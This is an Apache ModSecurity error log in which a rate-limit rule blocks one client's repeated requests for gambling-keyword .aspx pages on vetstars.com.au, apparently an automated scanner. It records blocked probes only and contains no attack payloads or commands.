[Thu Feb 19 20:52:16.620486 2026] [:error] [pid 48903:tid 48983] [client 54.37.252.118:41658] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZcHgI6aTgKrpAR115v0ZwAAAJI"]
[Thu Feb 19 20:52:17.198686 2026] [:error] [pid 48901:tid 48929] [client 54.37.252.118:41666] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZcHgcixYz-lHbN0WBLJzAAAABM"]
[Thu Feb 19 20:52:19.568777 2026] [:error] [pid 48902:tid 48939] [client 54.37.252.118:41692] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZcHg2cJ-6aYRpRRFsUybQAAAEE"]
[Thu Feb 19 20:52:19.624684 2026] [:error] [pid 5581:tid 5614] [client 54.37.252.118:41678] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZcHg3IfW0xlXmrVd3rRgwAAAgM"]
[Thu Feb 19 20:52:22.169305 2026] [:error] [pid 5581:tid 5619] [client 54.37.252.118:41700] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZcHhnIfW0xlXmrVd3rRhwAAAgg"]
[Thu Feb 19 20:52:23.045733 2026] [:error] [pid 49002:tid 49017] [client 54.37.252.118:41702] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZcHh1fcBtQ6hSJuEQlqggAAAMM"]
[Thu Feb 19 20:52:24.736875 2026] [:error] [pid 48903:tid 48986] [client 54.37.252.118:46626] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZcHiI6aTgKrpAR115v0bgAAAJU"]
[Thu Feb 19 20:52:25.630312 2026] [:error] [pid 49002:tid 49027] [client 54.37.252.118:46638] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZcHiVfcBtQ6hSJuEQlqhAAAAM0"]
[Thu Feb 19 20:52:27.252199 2026] [:error] [pid 48902:tid 48944] [client 54.37.252.118:46666] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZcHi2cJ-6aYRpRRFsUydQAAAEY"]
[Thu Feb 19 20:52:27.899003 2026] [:error] [pid 15513:tid 15528] [client 54.37.252.118:46678] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZcHi8GTRTE022JWg1_tjAAAAQ0"]
[Thu Feb 19 20:52:30.063836 2026] [:error] [pid 48903:tid 48977] [client 54.37.252.118:46690] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZcHjo6aTgKrpAR115v0cgAAAIw"]
[Thu Feb 19 20:52:30.549451 2026] [:error] [pid 49002:tid 49034] [client 54.37.252.118:46714] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZcHjlfcBtQ6hSJuEQlqigAAANQ"]
[Thu Feb 19 20:52:32.589018 2026] [:error] [pid 48901:tid 48934] [client 54.37.252.118:46718] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZcHkMixYz-lHbN0WBLJ1wAAABg"]
[Thu Feb 19 20:52:33.057984 2026] [:error] [pid 48902:tid 48948] [client 54.37.252.118:46724] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZcHkWcJ-6aYRpRRFsUyeQAAAEo"]
[Thu Feb 19 20:52:34.995354 2026] [:error] [pid 48901:tid 48913] [client 54.37.252.118:49886] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZcHksixYz-lHbN0WBLJ2gAAAAM"]
[Thu Feb 19 20:52:35.483884 2026] [:error] [pid 49002:tid 49031] [client 54.37.252.118:49900] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZcHk1fcBtQ6hSJuEQlqjgAAANE"]
[Thu Feb 19 20:52:37.497638 2026] [:error] [pid 48903:tid 48969] [client 54.37.252.118:49914] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZcHlY6aTgKrpAR115v0dwAAAIQ"]
[Thu Feb 19 20:52:38.003283 2026] [:error] [pid 48901:tid 48928] [client 54.37.252.118:49920] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZcHlsixYz-lHbN0WBLJ4AAAABI"]
[Thu Feb 19 20:52:39.945786 2026] [:error] [pid 15513:tid 15526] [client 54.37.252.118:49924] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZcHl8GTRTE022JWg1_tlwAAAQs"]
[Thu Feb 19 20:52:40.360769 2026] [:error] [pid 5580:tid 5585] [client 54.37.252.118:49930] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZcHmIV24kZpmf6nh3AJGwAAAcI"]
[Thu Feb 19 20:52:42.483163 2026] [:error] [pid 5581:tid 5617] [client 54.37.252.118:49940] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZcHmnIfW0xlXmrVd3rRjgAAAgY"]
[Thu Feb 19 20:52:42.848811 2026] [:error] [pid 48903:tid 48966] [client 54.37.252.118:49950] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZcHmo6aTgKrpAR115v0ewAAAIE"]
[Thu Feb 19 20:52:45.073362 2026] [:error] [pid 48902:tid 48956] [client 54.37.252.118:40344] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZcHnWcJ-6aYRpRRFsUyhwAAAFI"]
[Thu Feb 19 20:52:45.389036 2026] [:error] [pid 48902:tid 48959] [client 54.37.252.118:40360] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZcHnWcJ-6aYRpRRFsUyiAAAAFU"]
[Thu Feb 19 20:52:47.548716 2026] [:error] [pid 48903:tid 48987] [client 54.37.252.118:40376] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZcHn46aTgKrpAR115v0gQAAAJY"]
[Thu Feb 19 20:52:47.869806 2026] [:error] [pid 48902:tid 48943] [client 54.37.252.118:40386] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZcHn2cJ-6aYRpRRFsUyigAAAEU"]
[Thu Feb 19 20:52:50.081736 2026] [:error] [pid 48902:tid 48946] [client 54.37.252.118:40388] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZcHomcJ-6aYRpRRFsUyjQAAAEg"]
[Thu Feb 19 20:52:50.439885 2026] [:error] [pid 49002:tid 49015] [client 54.37.252.118:40398] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZcHolfcBtQ6hSJuEQlqlwAAAME"]
[Thu Feb 19 20:52:52.751451 2026] [:error] [pid 48902:tid 48941] [client 54.37.252.118:40406] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZcHpGcJ-6aYRpRRFsUykAAAAEM"]
[Thu Feb 19 20:52:53.180724 2026] [:error] [pid 5580:tid 5598] [client 54.37.252.118:40410] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZcHpYV24kZpmf6nh3AJJQAAAc4"]
[Thu Feb 19 20:52:55.225651 2026] [:error] [pid 48901:tid 48917] [client 54.37.252.118:34466] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZcHp8ixYz-lHbN0WBLJ6AAAAAc"]
[Thu Feb 19 20:52:55.615108 2026] [:error] [pid 15513:tid 15522] [client 54.37.252.118:34468] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZcHp8GTRTE022JWg1_tqgAAAQc"]
[Thu Feb 19 20:52:57.813763 2026] [:error] [pid 5581:tid 5618] [client 54.37.252.118:34484] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZcHqXIfW0xlXmrVd3rRnAAAAgc"]
[Thu Feb 19 20:52:58.477267 2026] [:error] [pid 5548:tid 5568] [client 54.37.252.118:34486] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZcHqpMpsAkdKxbTbsO__wAAAZE"]
[Thu Feb 19 20:53:00.155250 2026] [:error] [pid 5548:tid 5565] [client 54.37.252.118:34492] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZcHrJMpsAkdKxbTbsPABAAAAY4"]
[Thu Feb 19 20:53:01.108796 2026] [:error] [pid 48903:tid 48969] [client 54.37.252.118:34508] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZcHrY6aTgKrpAR115v0jgAAAIQ"]
[Thu Feb 19 20:53:02.707622 2026] [:error] [pid 48903:tid 48979] [client 54.37.252.118:34516] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZcHro6aTgKrpAR115v0kgAAAI4"]
[Thu Feb 19 20:53:27.586975 2026] [:error] [pid 15513:tid 15539] [client 54.37.252.118:53444] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZcHx8GTRTE022JWg1_t2AAAARg"]
[Thu Feb 19 20:53:27.772334 2026] [:error] [pid 5581:tid 5614] [client 54.37.252.118:34518] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZcHx3IfW0xlXmrVd3rR0gAAAgM"]
[Thu Feb 19 20:53:30.131791 2026] [:error] [pid 5581:tid 5618] [client 54.37.252.118:39214] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZcHynIfW0xlXmrVd3rR0wAAAgc"]
[Thu Feb 19 20:53:30.155342 2026] [:error] [pid 24048:tid 24070] [client 54.37.252.118:39224] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZcHymug6wHHqU0QyDb-HgAAAVQ"]
[Thu Feb 19 20:53:32.559683 2026] [:error] [pid 5580:tid 5596] [client 54.37.252.118:39238] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZcHzIV24kZpmf6nh3AJUgAAAcw"]
[Thu Feb 19 20:53:32.718612 2026] [:error] [pid 5581:tid 5626] [client 54.37.252.118:39244] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZcHzHIfW0xlXmrVd3rR1AAAAg8"]
[Thu Feb 19 20:53:35.018546 2026] [:error] [pid 48901:tid 48930] [client 54.37.252.118:47180] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZcHz8ixYz-lHbN0WBLKDwAAABQ"]
[Thu Feb 19 20:53:35.288190 2026] [:error] [pid 49002:tid 49016] [client 54.37.252.118:47192] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZcHz1fcBtQ6hSJuEQlqtAAAAMI"]
[Thu Feb 19 20:53:37.654282 2026] [:error] [pid 48903:tid 48986] [client 54.37.252.118:47204] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZcH0Y6aTgKrpAR115v0swAAAJU"]
[Thu Feb 19 20:53:37.740388 2026] [:error] [pid 5548:tid 5575] [client 54.37.252.118:47200] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZcH0ZMpsAkdKxbTbsPAIwAAAZg"]
[Thu Feb 19 20:53:40.251525 2026] [:error] [pid 15513:tid 15519] [client 54.37.252.118:47208] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZcH1MGTRTE022JWg1_uAwAAAQQ"]
[Thu Feb 19 20:53:40.358734 2026] [:error] [pid 48902:tid 48948] [client 54.37.252.118:47216] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZcH1GcJ-6aYRpRRFsUyvwAAAEo"]
[Thu Feb 19 20:53:42.769301 2026] [:error] [pid 5581:tid 5617] [client 54.37.252.118:47224] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZcH1nIfW0xlXmrVd3rR4AAAAgY"]
[Thu Feb 19 20:53:42.976028 2026] [:error] [pid 5581:tid 5620] [client 54.37.252.118:47228] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZcH1nIfW0xlXmrVd3rR4QAAAgk"]
[Thu Feb 19 20:53:45.245432 2026] [:error] [pid 48901:tid 48916] [client 54.37.252.118:49704] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZcH2cixYz-lHbN0WBLKGgAAAAY"]
[Thu Feb 19 20:53:45.505077 2026] [:error] [pid 48902:tid 48957] [client 54.37.252.118:49706] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZcH2WcJ-6aYRpRRFsUywQAAAFM"]
[Thu Feb 19 20:53:47.828971 2026] [:error] [pid 5581:tid 5611] [client 54.37.252.118:49708] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZcH23IfW0xlXmrVd3rR4wAAAgA"]
[Thu Feb 19 20:53:50.409958 2026] [:error] [pid 48901:tid 48932] [client 54.37.252.118:49722] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZcH3sixYz-lHbN0WBLKHgAAABY"]
